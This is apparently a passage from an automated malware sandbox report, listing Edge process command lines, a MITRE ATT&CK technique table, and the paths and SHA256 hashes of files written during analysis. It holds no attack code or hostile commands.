                                                      PID:1332
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
                                                      1⤵
                                                      • Checks processor information in registry
                                                      • Enumerates system info in registry
                                                      • Suspicious use of WriteProcessMemory
                                                      PID:2552
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x288,0x7ff89721c188,0x7ff89721c194,0x7ff89721c1a0
                                                        2⤵
                                                          PID:1620
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1924,i,10297134803379085050,13158091054541574664,524288 --field-trial-handle=2376,i,2798261048053647136,944113899932656873,262144 --variations-seed-version --mojo-platform-channel-handle=2404 /prefetch:3
                                                          2⤵
                                                          • System Time Discovery
                                                          PID:3932
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1688,i,16284139171300787497,5777292580868727692,262144 --field-trial-handle=2376,i,2798261048053647136,944113899932656873,262144 --variations-seed-version --mojo-platform-channel-handle=2372 /prefetch:2
                                                          2⤵
                                                            PID:2616
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2624,i,7512474828330837771,14473505188097606608,524288 --field-trial-handle=2376,i,2798261048053647136,944113899932656873,262144 --variations-seed-version --mojo-platform-channel-handle=2612 /prefetch:8
                                                            2⤵
                                                              PID:5416
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                            1⤵
                                                              PID:2948
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
                                                              1⤵
                                                                PID:6248

                                                              Network

                                                                    MITRE ATT&CK Enterprise v16

                                                                    Reconnaissance

                                                                    Resource Development

                                                                    Initial Access

                                                                    Execution

                                                                    Command and Scripting Interpreter

                                                                    3
                                                                    T1059

                                                                    PowerShell

                                                                    1
                                                                    T1059.001

                                                                    Visual Basic

                                                                    1
                                                                    T1059.005

                                                                    Windows Command Shell

                                                                    1
                                                                    T1059.003

                                                                    Persistence

                                                                    Boot or Logon Autostart Execution

                                                                    1
                                                                    T1547

                                                                    Active Setup

                                                                    1
                                                                    T1547.014

                                                                    Event Triggered Execution

                                                                    1
                                                                    T1546

                                                                    Component Object Model Hijacking

                                                                    1
                                                                    T1546.015

                                                                    Privilege Escalation

                                                                    Boot or Logon Autostart Execution

                                                                    1
                                                                    T1547

                                                                    Active Setup

                                                                    1
                                                                    T1547.014

                                                                    Event Triggered Execution

                                                                    1
                                                                    T1546

                                                                    Component Object Model Hijacking

                                                                    1
                                                                    T1546.015

                                                                    Defense Evasion

                                                                    Modify Registry

                                                                    1
                                                                    T1112

                                                                    Credential Access

                                                                    Discovery

                                                                    Browser Information Discovery

                                                                    1
                                                                    T1217

                                                                    Peripheral Device Discovery

                                                                    2
                                                                    T1120

                                                                    Query Registry

                                                                    5
                                                                    T1012

                                                                    System Information Discovery

                                                                    6
                                                                    T1082

                                                                    System Location Discovery

                                                                    1
                                                                    T1614

                                                                    System Language Discovery

                                                                    1
                                                                    T1614.001

                                                                    System Time Discovery

                                                                    1
                                                                    T1124

                                                                    Lateral Movement

                                                                    Collection

                                                                    Command and Control

                                                                    Exfiltration

                                                                    Impact

                                                                    Replay Monitor

                                                                    Loading Replay Monitor...

                                                                    Downloads

                                                                    powershell.exe.log
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
                                                                    • Size 2KB
                                                                    • SHA256 e4c2a17ef6811cc1458876f2ebf29b12aa8d0f381873c6d6748499944eb753e2
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    settings.dat
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Crashpad\settings.dat
                                                                    • Size 280B
                                                                    • SHA256 44e095af7ccad1927602b4b935aae3524939df30218011b877b59c782e6c6106
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    settings.dat
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Crashpad\settings.dat
                                                                    • Size 280B
                                                                    • SHA256 fc69248227d1b80ff41106426895bcd599abcddfbfe7fdbeabc0fcc2aca903ae
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    settings.dat
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Crashpad\settings.dat
                                                                    • Size 280B
                                                                    • SHA256 92d3e64f8d7d488e0cc1e99bb1fc37ad06de2cf091b2bb1940cb0476b7200060
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    settings.dat
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Crashpad\settings.dat
                                                                    • Size 280B
                                                                    • SHA256 5167f813f91d806c36e890e0cf6f95e7923b2618cdf5516cdceada25c3ccbef3
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    BookmarkMergedSurfaceOrdering
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\BookmarkMergedSurfaceOrdering
                                                                    • Size 6B
                                                                    • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                                                    • MD5 SHA1 SHA512
                                                                    Submit Download

                                                                    BrowsingTopicsState
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\BrowsingTopicsState
                                                                    • Size 414B
                                                                    • SHA256 9a21baa7832eff530b22138f1526d86de51e1596b3c7ca60600d0d710949532a
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    data_0
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Cache\Cache_Data\data_0
                                                                    • Size 44KB
                                                                    • SHA256 b74b504f8cfeab4f1d97adbdbbba39859b51bf523dc2790b075ff73bf318b767
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    the-real-index
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                    • Size 7KB
                                                                    • SHA256 b5c1223a84a1d2163283c43da51ca1650339e5c2cbc5ad6b53f89498e17c250c
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    the-real-index~RFe599531.TMP
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe599531.TMP
                                                                    • Size 2KB
                                                                    • SHA256 1439b95df0a2149ae45c90dffb61a1882e38d2e23fdca0cc4732f25f664997a8
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    the-real-index
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Code Cache\wasm\index-dir\the-real-index
                                                                    • Size 48B
                                                                    • SHA256 7575082be62b5bb6b6de747fbb4b53f4153c2cdd0025faafde4873a0b1912c88
                                                                    • MD5 SHA1 SHA512
                                                                    Submit Download

                                                                    data_1
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\DawnWebGPUCache\data_1
                                                                    • Size 264KB
                                                                    • SHA256 7a4e0df79619e8b340df86300463a0322b8c89e9ae04d9166e764a1d897c9e2c
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    SiteList-Enterprise.json
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\DualEngine\SiteList-Enterprise.json
                                                                    • Size 2B
                                                                    • SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
                                                                    • MD5 SHA1 SHA512
                                                                    Submit Download

                                                                    000003.log
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Extension State\000003.log
                                                                    • Size 399B
                                                                    • SHA256 55f8fa21c3f0d42c973aedf538f1ade32563ae4a1e7107c939ab82b4a4d7859a
                                                                    • MD5 SHA1 SHA512
                                                                    Submit Download

                                                                    LOG
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Extension State\LOG
                                                                    • Size 319B
                                                                    • SHA256 314978ab563d0c1b4dbfae0b513ce2d46e77a7d7b7910b00b4c5eaa1cd9e353c
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    dasherSettingSchema.json
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.109.1_0\dasherSettingSchema.json
                                                                    • Size 854B
                                                                    • SHA256 6c69ce0fe6fab14f1990a320d704fee362c175c00eb6c9224aa6f41108918ca6
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    Favicons
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Favicons
                                                                    • Size 28KB
                                                                    • SHA256 b2afcede7a12eceb4c36ca364361c98c9f83e0aa43ac5bb8eb82616b325e5b03
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    History
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\History
                                                                    • Size 204KB
                                                                    • SHA256 51a74b380555433a0a96afb99acf2b9278b2ba8f93b754ecc3bfcdb4e0f43968
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    CURRENT
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\IndexedDB\https_www.roblox.com_0.indexeddb.leveldb\CURRENT
                                                                    • Size 16B
                                                                    • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                                                                    • MD5 SHA1 SHA512
                                                                    Submit Download

                                                                    MANIFEST-000001
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\IndexedDB\https_www.roblox.com_0.indexeddb.leveldb\MANIFEST-000001
                                                                    • Size 23B
                                                                    • SHA256 720a78803b84cbcc8eb204d5cf8ea6ee2f693be0ab2124ddf2b81455de02a3ed
                                                                    • MD5 SHA1 SHA512
                                                                    Submit Download

                                                                    000003.log
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Local Storage\leveldb\000003.log
                                                                    • Size 64KB
                                                                    • SHA256 de84f2ee45b9f635246b636336fc369b7c51aa68c35eac68d10009e82edb3bc9
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    000004.log
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Local Storage\leveldb\000004.log
                                                                    • Size 5KB
                                                                    • SHA256 99954387970e23f7793a7f8bb8caf19cce9caa0666730ffbe71d177afda67723
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    000005.ldb
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Local Storage\leveldb\000005.ldb
                                                                    • Size 22KB
                                                                    • SHA256 489c8313fe3a3eefad9a6a6020b6de06fe0c3fa8c5640f19cb05319b233011a7
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    LOG
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Local Storage\leveldb\LOG
                                                                    • Size 445B
                                                                    • SHA256 b3dfd4bc79068fa6e5857bff30f2f1eb7828112671658751d9ebfe4a71ae466f
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    Cookies
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Network\Cookies
                                                                    • Size 32KB
                                                                    • SHA256 d8585524a68242dd71ef33efdde8747ccfc8fab0b3c930228a17f53741c6e90b
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    Network Persistent State
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Network\Network Persistent State
                                                                    • Size 1KB
                                                                    • SHA256 99a02fc7f6042184bf435a2aed5384e1a633cb8d2cef29ede57d1eae6c40aed2
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    Network Persistent State
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Network\Network Persistent State
                                                                    • Size 6KB
                                                                    • SHA256 1cf6f96cbbe52c70b996b05d7e739612f33cac9df6cb572f32095c111b9109ad
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    SCT Auditing Pending Reports
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Network\SCT Auditing Pending Reports
                                                                    • Size 2B
                                                                    • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                    • MD5 SHA1 SHA512
                                                                    Submit Download

                                                                    Sdch Dictionaries
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Network\Sdch Dictionaries
                                                                    • Size 211B
                                                                    • SHA256 8ad72b63031392f6ae0bd20e38f48992c5e2be630da396da7d34fa930f4c2db3
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    Sdch Dictionaries
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Network\Sdch Dictionaries
                                                                    • Size 40B
                                                                    • SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
                                                                    • MD5 SHA1 SHA512
                                                                    Submit Download

                                                                    Preferences
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Preferences
                                                                    • Size 18KB
                                                                    • SHA256 41f24a1f74f50fb72a6f40b0ee9ef3a3d90721eb4107ac0dad3340f3c1ebfe8f
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    Preferences
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Preferences
                                                                    • Size 15KB
                                                                    • SHA256 2c8e3714e8a742fe9952378c42d455ebdcc14f0cff96154fcdd536dae18018e2
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    Preferences
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Preferences
                                                                    • Size 20KB
                                                                    • SHA256 90f45a39db73b131eb4937635cbf14e227c1ad2cbcde08ba1f698db8a1e3c5f0
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    Secure Preferences
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Secure Preferences
                                                                    • Size 35KB
                                                                    • SHA256 0bcba8a46fe32260db092f0dade0d70fd8a230fa9df677addb804ff84c469c9f
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    Secure Preferences
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Secure Preferences
                                                                    • Size 35KB
                                                                    • SHA256 b08a670669e614e1104e4ebfa76069251355998f3d962d40aea86f956f1b7aae
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    LOG
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Service Worker\Database\LOG
                                                                    • Size 338B
                                                                    • SHA256 fdcab385232e9a750d0d6f6d02a37b485e553e7d8cd626e09f2a04f5f9a00dfe
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    the-real-index
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Shared Dictionary\cache\index-dir\the-real-index
                                                                    • Size 48B
                                                                    • SHA256 6f6d3e976729e666e28b29ef7e98c5eae50b4943e476fb15ecf32285afbd3383
                                                                    • MD5 SHA1 SHA512
                                                                    Submit Download

                                                                    000003.log
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Site Characteristics Database\000003.log
                                                                    • Size 172B
                                                                    • SHA256 7929ed21f56e2e76c20f79d54301fcc0533b7dac4dd22807e1cbaf998b02f328
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    LOG
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Site Characteristics Database\LOG
                                                                    • Size 350B
                                                                    • SHA256 ff9409f0abeba29e89cd279822cac7695c16ac7bea41efffd4fed4dfbb146293
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    LOG
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Sync Data\LevelDB\LOG
                                                                    • Size 323B
                                                                    • SHA256 3060f86936d717d3eb52297f5328e78ab099b6621e5a3d9e4db1f083a48a8d68
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    sync_diagnostic.log
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Sync Data\Logs\sync_diagnostic.log
                                                                    • Size 23KB
                                                                    • SHA256 f9e0cb70e7741532182e139ccc160ccdca2276ff165276699ce920778aed608a
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    Web Data
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\Web Data
                                                                    • Size 224KB
                                                                    • SHA256 842396fb05274901b05eee574913a1ac4a92af11b8c38175dcb006c576368bf4
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    default_cloud_config.json
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\default_cloud_config.json
                                                                    • Size 13KB
                                                                    • SHA256 f9e4da319fe1f5a7d497c452421f4648a24ec7588f309ebea0f0cd61a6251eef
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    000003.log
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\shared_proto_db\000003.log
                                                                    • Size 13KB
                                                                    • SHA256 f725246d3129dc357fa8cf9afbe390bd537bcb8f31eecc3dcbeead004ff7bb5c
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    LOG
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\shared_proto_db\LOG
                                                                    • Size 319B
                                                                    • SHA256 539080e8e51ad63e07802b2f52b414aaa5762d28f46d2ae19b6ba381844c8ee9
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    000003.log
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\shared_proto_db\metadata\000003.log
                                                                    • Size 1KB
                                                                    • SHA256 dc0424c8ccf0b6fd0380844b1903c7665470b7ed9b976b04c160d9e260136019
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    LOG
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Default\shared_proto_db\metadata\LOG
                                                                    • Size 337B
                                                                    • SHA256 964e95e22f5adc7e43c613a72ba1c77f977befa8289421f51079facf5f988400
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    domain_actions.dll
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Domain Actions\3.0.0.18\domain_actions.dll
                                                                    • Size 83KB
                                                                    • SHA256 d35c8efcb710239f009633bcc5ae904ac6dafa985d451bedf791cf6909f014d4
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    data_1
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\GraphiteDawnCache\data_1
                                                                    • Size 264KB
                                                                    • SHA256 1faea0dccb131380d79d9475e436ceabff8a5f74be68bba5d0cd3aa614e102a9
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    Last Version
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Last Version
                                                                    • Size 14B
                                                                    • SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
                                                                    • MD5 SHA1 SHA512
                                                                    Submit Download

                                                                    Local State
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Local State
                                                                    • Size 24KB
                                                                    • SHA256 e34a01722ae93121e1bf803dd9e135b39c77dc268b0d52244cb915cc21406be6
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    Local State
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Local State
                                                                    • Size 26KB
                                                                    • SHA256 7f192cd6456b7a9fa19075d3bed73f27c3e172c54d74c670302ae60a24eb6e1c
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    Local State
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Local State
                                                                    • Size 25KB
                                                                    • SHA256 f7c20371d516757f09335ae8da4cfa04a2e7fda30f97e0387320e8ecdb3c5069
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    Local State
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Local State
                                                                    • Size 33KB
                                                                    • SHA256 fc683029577a94d856417966c0719b73f1d1994f48917735322b6e7266596e49
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    Local State
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Local State
                                                                    • Size 33KB
                                                                    • SHA256 9d9330f781b0dfa96c2bc173935f4f1ecb0fe359f3fc0817581c77962fe0d009
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    campaign_history
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Nurturing\campaign_history
                                                                    • Size 20KB
                                                                    • SHA256 e4d7ef5c5cbb257f8428e9880f625ff41813688810551e7502838a0d3dcc2195
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    data_1
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\ShaderCache\data_1
                                                                    • Size 264KB
                                                                    • SHA256 6ad0c505cc65feea509611734e93248339df5e1866ebe7b2a94b08f8822a69ea
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    Variations
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\Variations
                                                                    • Size 86B
                                                                    • SHA256 f7b24f2eb3d5eb0550527490395d2f61c3d2fe74bb9cb345197dad81b58b5fed
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    e56c9164b667ad97b0cefcb26e48bcb2b04d8cc1a362ee921f2119a6a8798000
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\extensions_crx_cache\e56c9164b667ad97b0cefcb26e48bcb2b04d8cc1a362ee921f2119a6a8798000
                                                                    • Size 154KB
                                                                    • SHA256 e56c9164b667ad97b0cefcb26e48bcb2b04d8cc1a362ee921f2119a6a8798000
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    metadata.json
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\Lite\User Data\extensions_crx_cache\metadata.json
                                                                    • Size 132B
                                                                    • SHA256 a0b1a35a86cbd2e671521525fc6903162d450e3b301948d913d05ef458794c20
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    Network Persistent State
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
                                                                    • Size 61B
                                                                    • SHA256 e1b77550222c2451772c958e44026abe518a2c8766862f331765788ddd196377
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    Preferences
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                    • Size 11KB
                                                                    • SHA256 e492b4f5add2879ab144cfc129714631000cad72601c424ca80f1ce508b26ac9
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    Secure Preferences
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
                                                                    • Size 32KB
                                                                    • SHA256 99eb3f7f00ccfab4a86f1a3c1e408809dfdb2f08659f1e8f28a099fd71277bd3
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    Local State
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                    • Size 25KB
                                                                    • SHA256 d606ed277438b38ab62a91b20ab46a42bc1462bada719a010797942b99dde14d
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
                                                                    • Size 2KB
                                                                    • SHA256 a237ffe99dc17da0a8b08e03fb3b0edcd6b1042aa061c9bb50fea5c62dcbb607
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    StartupProfileData-NonInteractive
                                                                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                                    • Size 18KB
                                                                    • SHA256 2b924f9a2955fbb1756cace4b01b7a4ede2d10fa222605c24bc8f88189bb48f2
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    AppCache134332190788263123.txt
                                                                    • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache134332190788263123.txt
                                                                    • Size 85KB
                                                                    • SHA256 4440c849baee490ab8216c5e9e3cf41c5885e4447a32058494d8f6a47655c077
                                                                    • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                    Submit Download

                                                                    08ec758e-9bd2-48bb-8c7c-a26c175fc6fa.tmp
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\08ec758e-9bd2-48bb-8c7c-a26c175fc6fa.tmp
                                                                    • Size 1B
                                                                    • SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
                                                                    • MD5 SHA1 SHA512
                                                                    Submit Download

                                                                    Tmp35E0.tmp
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\Tmp35E0.tmp
                                                                    • Size 2KB
                                                                    • SHA256 67fabaec7674fc3ba73272394d815306f2595896cd90137404a587f23424933f
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

                                                                    __PSScriptPolicyTest_5l0fsdvh.mlo.ps1
                                                                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5l0fsdvh.mlo.ps1
                                                                    • Size 60B
                                                                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                    • MD5 SHA1 SHA512 TLSH
                                                                    Submit Download

